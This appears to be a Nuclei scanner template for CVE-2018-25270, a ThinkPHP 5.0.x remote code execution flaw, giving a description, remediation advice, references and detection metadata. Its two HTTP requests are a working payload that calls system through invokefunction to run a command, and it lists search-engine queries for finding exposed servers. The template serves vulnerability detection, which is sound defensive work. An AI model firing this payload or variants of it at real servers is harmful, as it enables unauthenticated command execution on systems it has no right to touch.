ThinkPHP 5.0.x before 5.0.23 does not sufficiently validate the controller name taken from the routing parameter, allowing an unauthenticated attacker to instantiate arbitrary classes and invoke their methods. By reaching \think\app::invokefunction, an attacker can call call_user_func_array with an arbitrary function and arguments, leading to remote code execution.
id: CVE-2018-25270
info:
name: ThinkPHP 5.0.x < 5.0.23 - Remote Code Execution
author: ritikchaddha
severity: critical
description: |
ThinkPHP 5.0.x before 5.0.23 does not sufficiently validate the controller name taken from the routing parameter, allowing an unauthenticated attacker to instantiate arbitrary classes and invoke their methods. By reaching \think\app::invokefunction, an attacker can call call_user_func_array with an arbitrary function and arguments, leading to remote code execution.
impact: |
Unauthenticated attackers can execute arbitrary PHP code and operating system commands on the server.
remediation: |
Upgrade ThinkPHP to 5.0.23 / 5.1.31 or later. Enable forced routing (url_route_must) and strict controller validation.
reference:
- https://www.exploit-db.com/exploits/45978
- https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
- https://www.f5.com/labs/articles/threat-actors-rapidly-adopt-new-thinkphp-rce-exploit-to-spread-i
- https://nvd.nist.gov/vuln/detail/CVE-2018-25270
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-25270
cwe-id: CWE-94
epss-score: 0.05898
epss-percentile: 0.93415
metadata:
verified: false
max-request: 1
vendor: thinkphp
product: thinkphp
shodan-query: http.html:"thinkphp"
fofa-query: app="ThinkPHP"
tags: cve,cve2018,thinkphp,rce,unauth,vkev
variables:
rand: "{{rand_base(12)}}"
http:
- method: GET
path:
- "{{BaseURL}}/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'"
- "{{BaseURL}}/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- "PHP Version"
- "PHP Extension"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022043fee473cf83f43462862f58c455448a069e6d711a788666f5340ec71ba3f2e0022100ef21f0c8fb108220d231a58b9ed3b42ecf33969d581715736c06b2ba93f907d3:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.